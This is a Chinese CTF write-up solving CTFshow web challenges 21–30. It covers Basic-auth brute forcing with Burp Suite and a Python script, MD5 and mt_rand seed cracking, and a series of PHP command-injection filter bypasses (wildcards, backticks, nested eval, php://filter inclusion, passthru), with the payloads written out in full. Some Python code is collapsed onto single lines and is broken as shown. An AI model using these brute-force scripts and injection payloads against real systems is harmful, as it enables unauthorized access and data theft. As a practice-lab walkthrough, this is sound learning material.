Web 21~30

  • web21
    • 知识点
    • 题解
  • web22
    • 知识点
    • 题解
  • web23
    • 知识点
    • 题解
  • web24
    • 知识点
    • 题解
  • web25
    • 知识点
    • 题解
  • web26
    • 知识点
    • 题解
  • web27
    • 知识点
    • 题解
  • web28
    • 知识点
    • 题解
  • web29
    • 知识点
    • 题解
  • web30
    • 知识点
    • 题解

web21

知识点

  • tomcat 认证爆破
  • burpsuite暴力破解(Sniper)之custom iterator使用

Payload Sets 中选择类型:custom iterator(自定义迭代器)。
Payload Processing 中进行编码设置:进行base64编码。
取消 Palyload Encoding 编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响 base64 加密的结果。

题解

随便输入用户名:admin,密码:111


抓包看一下。没找到username和password的字段。but:
Authorization 请求头中,输入的 用户名 / 口令 以base64的形式传输。


格式是:用户名:密码


Intruder爆破设置


选择自定义迭代


拼接语句1


拼接语句2


拼接语句3
添加爆破密码字典


拼接完成后,设置base64编码。在payload processing 进行编码设置。
最后的 URL编码 不用选择。


最后的密码是shark63。

下面的代码提供了另一种解题思路

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-11-20 19:16:49
# @Last Modified by:   h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.comimport time
import requests
import base64url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
# URL换成实际的靶场网址password = []# 使用字典
with open("1.txt", "r") as f:  while True:data = f.readline() if data:password.append(data)else:breakfor p in password:strs = 'admin:'+ p[:-1]header={'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))}rep =requests.get(url,headers=header)time.sleep(0.2)if rep.status_code ==200:print(rep.text)break

web22

知识点

  • 域名也可以爆破

题解

域名更新后,flag.ctf.show域名失效
所以这道题没法做了。but爆破方式没有太大差别。

web23

知识点

  • MD5加密:产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。生成结果是固定的128字节,通常用一个32位的16进制字符串表示。
  • PHP:substr()、intval()、以及代码分析

题解

分析代码:变量token被md5加密,且它的第一位=第十四位=第十七位,化为整数后(第一位+第十四位+第十七位)/ 第一位=第三十一位,则可获得flag。

选择burp爆破也可以,但可以直接用写脚本跑出需要传递的值

# coding: utf-8import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:for b in dic:c = (str(a)+str(b)).encode('utf-8')    # python3中必须进行utf-8编码token = hashlib.md5(c).hexdigest()if token[1:2] == token[14:15] and token[14:15] == token[17:18]:if (int(token[1:2])+int(token[14:15])+int(token[17:18]))/int(token[1:2]) == int(token[31:32]):print(c)

传递 token=3j

web24

知识点

  • PHP:伪随机数、mt_srand()、mt_rand()

提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。
如果设置了 seed参数,生成的随机数就是伪随机数,即每次生成的随机数是一样的
简单来说就是通过这个函数mt_srand()来设定一个种子seed
再通过mt_rand()来结合种子按照一定的规则得到一个随机数
这是一个线性的计算,每次请求得到的随机数都是不一样的,但是只要种子一样,得到的随机数都是像一个一次函数一样变化的,就像y=ax=b,x就是请求的次数,a和b就是由种子决定

题解

题目已经告诉了我们种子


可以直接写一个php脚本来得到随机数

<?phpmt_srand(372619038);echo mt_rand();


解决

web25

知识点

  • 和上题一样是伪随机数的题目。
  • 这个题需要使用工具 php_mt_seed 。专门用来跑mt_srand()种子和 mt_rand()随机数。
    下载地址:https://www.openwall.com/php_mt_seed/

题解

通过分析可以得出如下思路:

种子涉及到flag,不能直接求到
if((!$rand)) 要使这个为真,就要让 $rand=0 ,
而 $rand = intval($r)-intval(mt_rand())
所以要得到随机数才能构造 $r=$mt_rand() 。

所以我们还要求得种子,这就要用到php_mt_seed来逆推种子了


先传递 r=0,可得到随机数的相反数,这里随机数为2140655666。(不同靶场获得的随机数不一样)


下载好工具后拉到kali里面,打开文件夹,运行终端,输入 make


输入 ./php_mt_seed 随机数 ,开始爆破


因为不知道是第几次得到这个随机数,所以爆破出了很多个
398826382
398826383
966551370
1162957153
1259472860
3045777377
3123628127

这就需要写一个php的脚本来测试是哪个种子第一次就得到这个随机数

<?php$num = 1162957153;mt_srand($num);echo mt_rand();

发现种子可能有多个,分别是1162957153、1259472860、3045777377


接下来就得一个一个试了
对其中一个可能的种子请求两次并求和得到token的值

<?php$num = 3045777377;mt_srand($num);$a1 = mt_rand();$a2 = mt_rand();$a3 = mt_rand();echo $a1."<br/>";echo $a2."<br/>";echo $a3."<br/>";echo ($a2 + $a3)."<br/>";

这样需要的值都拿到了,接下来用burp改个包提交即可。
最后得到:
r=3045777377
token=3295063840

web26

知识点

这题确实是可以爆破出来。不过…

题解

点击“同意协议,开始安装”后,点击下面的按钮,竟然弹出了连接成功。

直接上burp获得了flag。

第二种方法

当然也可以直接用burp爆破。


选择字典后就可以开始爆破了。这里用了之前的一个字典。然后密码看了其他师傅的writeup后手动添加到字典里的…密码是7758521


最后通过长度筛选获得请求成功的信息

web27

知识点

  • burpsuite暴力破解(Sniper)之Dates使用

题解

网页是菜鸡学院教务管理系统
可以下载录取名单,可以查讯学生学籍信息


录取名单里面有学生姓名和部分身份证号,屏蔽的信息是生日年月日。


学生学籍信息查询系统中只需要输入姓名和身份证就可以查询信息。
那就以第一个同学为例。


burp抓包


爆破模块有一个Dates模块,专门用来爆破日期信息,把格式调好,就设定一个范围开始爆破


爆破出来生日为19900201
burp获取的结果是html编码过的,可以直接在浏览器控制台解析


也可以直接查询


登录

web28

知识点

  • burpsuite暴力破解(Cluster bomb)之 Numbers 使用

题解

看url会比较奇怪,是0/1/2.txt。如果修改最后的2.txt会被无限重定向,不删除2.txt只修改前面的0和1依旧会被无限重定向。


所以,先去掉2.txt,对前面两个数字进行爆破。

攻击类型选择Cluster bomb(集束炸弹)


设置 payload 1


payload 2 同理


爆破成功

web29

知识点

  • PHP:preg_match() 、eval()、嵌套eval逃逸参数、伪协议、文件包含
  • Linux命令:system() 函数、tac 命令、反引号、通配符、nl 命令、cp 命令
  • 注意内联命令执行的反引号
  • 注意php语句的结束符分号

当然该题涉及的原理也很重要ヾ(✿゚▽゚)ノ

题解

preg_match 函数用于执行一个正则表达式匹配。
这次的判断是不能出现flag字样,后面 i 意思是不分辨大小写。
匹配字符串flag,那么使用通配符、单引号(成对)等方式简单绕过。

方法一

url + ?c=system('tac fla?.php');
  • system() 这个函数是系统调用。类似于在cmd窗口中执行,其参数是可执行的命令。
  • tac 命令本质上是cat命令,但其目的是反向连接文件。
    tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。
  • 利用Linux系统的通配符 ? 绕过
  • 所以使用 cat 命令也可以获取flag,但需要在源码中查看。

方法二

url + ?c=echo `tac fl''ag.php`;
  • 反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
  • '' 符号并不会影响命令的执行,所以我们可以插入这些符号来绕过。在linux中可以使用 ’ 来绕过,比如 fl’'ag 就等效于 flag。


方法三

url + ?c=echo `nl fl?g.php`;
  • nl 命令:Linux中nl命令和cat命令很像,不过nl命令会打上行号
    nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号。
    注意nl指令没有回显,要echo出来才有效果

查看源码获得flag


方法四

url + ?c=`cp fl?g.php 1.txt`;

复制 flag.php 成为 1.txt 再访问 1.txt 来获得信息


方法五
嵌套eval逃逸参数

url + ?c=eval($_GET[1]);&1=system('tac flag.php');

逃逸出一个1,flag在1里不会被过滤 。


方法六

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
pos() 函数返回数组中当前元素(指针指向)的值。
scandir() 函数返回指定目录中的文件和数组。
array_reverse() 将数组倒序输出。
next() 将指针指向数组的下一个元素并输出。
show_source() 对文件进行语法高亮显示,是highlight_file()别名。


方法七
嵌套include文件包含,利用伪协议文件包含,再base64编码

url + ?c=include $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

base64解码后获得源码


方法八
嵌套require文件包含

url + ?c=require $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

base64解码后获得源码


方法九
使用通配符 *

url + ?c=system('cat fl*');

查看源码获得flag

web30

知识点

方法都和上一题差不多。掌握原理就轻松很多了。果然上一题学了那么多方法是不亏的啊 o(* ̄3 ̄)o
除此以外附上其他师傅的总结:

system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub)  //第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();//详细用法百度吧
pcntl_exec();//如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号//(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)

题解


方法一
随便用上一题的一种方法就好了。这里用的是

url + ?c=echo `tac f''lag.ph''p`;

得手


方法二
源码过滤了system,可以采用passthru。

url + ?c=passthru("cat fl*");

当然这类题还有其他很多方法。

《CTFshow - Web入门》03. Web 21~30相关推荐

  1. Ctfshow web入门 爆破系列 21~28

    目录 Ctfshow web 21 Ctfshow web 22 Ctfshow web 23 Ctfshow web 24 Ctfshow web 25 Ctfshow web 26 Ctfshow ...

  2. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  3. CTFSHOW web入门 命令执行+文件包含+PHP特性

    刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 ...

  4. Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...

  5. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  6. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  7. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  8. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  9. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

最新文章

  1. MAT之PLS:利用PLS(两个主成分的贡献率就可达100%)提高测试集辛烷值含量预测准确度并《测试集辛烷值含量预测结果对比》
  2. 转载:c+string类详解
  3. AAAI 2020 | NAS+目标检测:AI设计的目标检测模型长啥样?
  4. 02-NVIDIA Jetson TX2 通过JetPack 3.1刷机完整版(踩坑版)
  5. JAVA实现WC.exe功能
  6. js 获取 当天凌晨时间
  7. 简易 Python 3 运行 Python 2 代码
  8. 第三章 文件过滤及内容编辑处理命令
  9. MySQL 报错记录
  10. TensorFlow发布语音识别入门教程,附1GB数据集代码
  11. linux什么命令查设备型号,在Linux命令行中查看系统硬件制造商、型号与序列号的六种方法...
  12. 小卷积核的特征图与卷积参数变化不大,计算量变化明显
  13. FLV格式解析及其解析器的实现
  14. 16进制发送 mqtt客户端调试工具_MQTT调试工具
  15. (快)开学了,各大编程语言在群里吵翻了天!
  16. “盘古”走向产业山峦,打开了一串AI落地的新脑洞
  17. oracle改字体大小_集成开发环境PL/SQL Developer教程:设置行号和修改字体大小
  18. 华为校招 java 面试题
  19. linux memcached默认端口,memcached介绍以及安装
  20. HTTPServerMock从手工到平台的演变

热门文章

  1. Fzu 2202 犯罪嫌疑人【逻辑推理思维题】好题!
  2. 前端面试项目冲刺,京东金融Vue组件化实战
  3. Windows10下Legacy模式转UEFI模式(mbr转gpt)
  4. 前端如何实现简单的音视频通话?
  5. 在线考试题系统设计 MySQL_在线测试试卷智能生成系统的设计与实现
  6. 如何设计一个完整的交互流程,提升产品用户体验
  7. 高德地图三月更新数千条重要道路 数据能力持续领先
  8. python 3.5 安装pip
  9. 【spring cloud】(三)服务降级——Hystrix
  10. 图片文字识别 mysql_截图 文字识别